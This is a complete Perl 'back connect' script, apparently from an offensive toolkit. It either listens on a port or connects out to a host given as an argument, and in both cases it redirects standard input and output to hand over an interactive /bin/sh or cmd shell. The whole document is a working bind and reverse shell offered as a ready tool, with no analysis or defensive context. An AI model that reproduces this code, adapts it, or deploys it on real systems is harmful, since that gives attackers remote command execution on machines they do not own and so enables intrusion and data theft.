Back Connect Perl

#!/usr/bin/env perl
use IO::Socket;
$os=$^O;
$sh="export TERM=xterm;PS1='\$PWD\>';export PS1;/bin/sh -i";
if($os=~m/win/i){$sh="%COMSPEC% /K";}
$t=getprotobyname('tcp');
socket(S,&PF_INET,&SOCK_STREAM,$t)||die();
if(@ARGV==1){
    $p=$ARGV[0];
    setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
    bind(S,sockaddr_in($p,INADDR_ANY))||die();
    listen(S,3)||die();
    accept(C,S);
    send(C,"my shell : connected\n",0);
    open STDIN,"<&C";open STDOUT,">&C";open STDERR,">&C";
    exec $sh||die();
    close(C);close(S);close(STDIN);close(STDOUT);close(STDERR);
    exit 0;

}
elsif(@ARGV==2){
    $p=$ARGV[0];
    $h=$ARGV[1];
    $i=inet_aton($h)||die();
    $a=sockaddr_in($p,$i)||die();
    connect(S,$a)||die();
    send(S,"parad0x shell : connected\n",0);
    open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
    exec $sh||die();
    close(S);close(STDIN);close(STDOUT);close(STDERR);
}
else{exit(1);}